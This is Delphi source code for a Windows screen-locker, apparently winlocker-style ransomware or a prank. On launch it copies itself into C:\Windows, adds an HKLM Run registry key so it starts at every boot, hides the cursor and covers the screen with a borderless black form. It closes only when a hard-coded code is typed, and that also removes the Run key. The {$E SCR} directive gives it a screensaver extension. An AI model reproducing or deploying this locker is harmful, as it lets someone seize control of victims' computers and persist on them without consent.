unit Unit1;

interface

uses
    Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
    Dialogs, Registry, ExtCtrls, StdCtrls, XPMan;

type
    TForm1 = class(TForm)
      Label1: TLabel;
      Edit1: TEdit;
      Button1: TButton;
      XPManifest1: TXPManifest;
      Button2: TButton;
      procedure FormCreate(Sender: TObject);
      procedure Button1Click(Sender: TObject);
      procedure Button2Click(Sender: TObject);
    private
      { Private declarations }
    public
      { Public declarations }
    end;

var
    Form1: TForm1;

implementation

{$R *.dfm}
{$E SCR}

procedure TForm1.FormCreate(Sender: TObject);
var
Reg:TRegistry;
begin
CopyFile(PChar(ParamStr(0)), PChar('C:\Windows\' + ExtractFileName(ParamStr(0))), True);
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.WriteString('Project1','C:\Windows\Project1.exe');
Reg.CloseKey;
Reg.Free;
Button2.Visible:=False;
Form1.Color:=0;
Form1.BorderStyle:=bsNone;
Form1.Left:=0;
Form1.Top:=0;
Form1.Width:=Screen.Width;
Form1.Height:=Screen.Height;
ShowCursor(false);
Label1.Font.Color:=RGB(0,200,0);
Label1.Font.Size:=18;
end;

procedure DelKey;
var
Reg:Tregistry;
begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',true);
Reg.DeleteValue(Application.Title);
Reg.Free;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text= 'AAAA-AAAA-AAAA-AAAA' Then
   begin
   DelKey;
   Label1.Caption:= 'Верный код';
   Button1.Visible:=False;
   Button2.Visible:=True;
   end
   else
    Label1.Caption:= 'Код не верный!';
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Close;
end;

end.